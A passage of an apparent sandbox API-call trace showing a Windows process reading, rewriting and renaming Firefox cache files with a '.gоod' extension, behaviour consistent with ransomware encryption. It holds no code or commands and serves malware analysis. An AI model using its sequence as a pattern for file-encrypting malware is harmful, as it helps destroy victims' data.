[0225.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.988] GetFileType (hFile=0x808) returned 0x1 [0225.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.988] GetFileType (hFile=0x808) returned 0x1 [0225.988] ReadFile (in: hFile=0x808, lpBuffer=0x36ecf58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x36ecf58*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0227.708] CloseHandle (hObject=0x808) returned 1 [0227.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", lpFilePart=0x0) returned 0x7f [0227.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0227.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0227.709] GetFileType (hFile=0x808) returned 0x1 [0227.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0227.709] GetFileType (hFile=0x808) returned 0x1 [0227.709] WriteFile (in: hFile=0x808, lpBuffer=0x35ff0d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x35ff0d0*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0227.709] CloseHandle (hObject=0x808) returned 1 [0227.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", lpFilePart=0x0) returned 0x7f [0227.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89.gоod", lpFilePart=0x0) returned 0x84 [0227.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0227.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x83efba00, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1174)) returned 1 [0227.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0227.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89.gоod")) returned 1 [0227.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", lpFilePart=0x0) returned 0x7f [0227.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0227.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), fInfoLevelId=0x0, lpFileInformation=0x3906190 | out: lpFileInformation=0x3906190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa)) returned 1 [0227.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0227.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", lpFilePart=0x0) returned 0x7f [0227.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0227.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0227.711] GetFileType (hFile=0x808) returned 0x1 [0227.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0227.711] GetFileType (hFile=0x808) returned 0x1 [0227.711] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xefa [0227.711] ReadFile (in: hFile=0x808, lpBuffer=0x3907488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3907488*, lpNumberOfBytesRead=0x1fbeb028*=0xefa, lpOverlapped=0x0) returned 1 [0227.712] CloseHandle (hObject=0x808) returned 1 [0228.278] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", lpFilePart=0x0) returned 0x7f [0228.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0228.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.279] GetFileType (hFile=0x864) returned 0x1 [0228.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0228.279] GetFileType (hFile=0x864) returned 0x1 [0228.279] WriteFile (in: hFile=0x864, lpBuffer=0x383ac30*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x383ac30*, lpNumberOfBytesWritten=0x1fbeaf38*=0xf00, lpOverlapped=0x0) returned 1 [0228.280] CloseHandle (hObject=0x864) returned 1 [0228.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", lpFilePart=0x0) returned 0x7f [0228.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06.gоod", lpFilePart=0x0) returned 0x84 [0228.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0228.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8447f127, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf00)) returned 1 [0228.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0228.281] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06.gоod")) returned 1 [0228.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", lpFilePart=0x0) returned 0x7f [0228.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0228.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), fInfoLevelId=0x0, lpFileInformation=0x383bfd0 | out: lpFileInformation=0x383bfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4407a35c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4407a35c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4407a35c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1826)) returned 1 [0228.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0228.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", lpFilePart=0x0) returned 0x7f [0228.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0228.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.283] GetFileType (hFile=0x864) returned 0x1 [0228.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0228.283] GetFileType (hFile=0x864) returned 0x1 [0228.283] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0228.283] ReadFile (in: hFile=0x864, lpBuffer=0x383c538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x383c538*, lpNumberOfBytesRead=0x1fbeb0c8*=0x826, lpOverlapped=0x0) returned 1 [0228.401] CloseHandle (hObject=0x864) returned 1 [0229.383] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", lpFilePart=0x0) returned 0x7f [0229.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0229.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.408] GetFileType (hFile=0x85c) returned 0x1 [0229.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0229.408] GetFileType (hFile=0x85c) returned 0x1 [0229.408] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1826 [0229.408] WriteFile (in: hFile=0x85c, lpBuffer=0x37f9cb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x37f9cb0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0229.408] CloseHandle (hObject=0x85c) returned 1 [0229.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", lpFilePart=0x0) returned 0x7f [0229.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0229.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.409] GetFileType (hFile=0x85c) returned 0x1 [0229.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0229.409] GetFileType (hFile=0x85c) returned 0x1 [0229.409] ReadFile (in: hFile=0x85c, lpBuffer=0x37fc018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x37fc018*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0229.480] CloseHandle (hObject=0x85c) returned 1 [0229.480] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", lpFilePart=0x0) returned 0x7f [0229.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0229.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.481] GetFileType (hFile=0x85c) returned 0x1 [0229.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0229.481] GetFileType (hFile=0x85c) returned 0x1 [0229.481] WriteFile (in: hFile=0x85c, lpBuffer=0x35f2980*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x35f2980*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0229.481] CloseHandle (hObject=0x85c) returned 1 [0229.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", lpFilePart=0x0) returned 0x7f [0229.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C.gоod", lpFilePart=0x0) returned 0x84 [0229.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0229.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4407a35c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4407a35c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x84fe1be8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1836)) returned 1 [0229.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0229.481] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c.gоod")) returned 1 [0229.482] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", lpFilePart=0x0) returned 0x7f [0229.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0229.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), fInfoLevelId=0x0, lpFileInformation=0x360d310 | out: lpFileInformation=0x360d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113b)) returned 1 [0229.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0229.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", lpFilePart=0x0) returned 0x7f [0229.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0229.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), 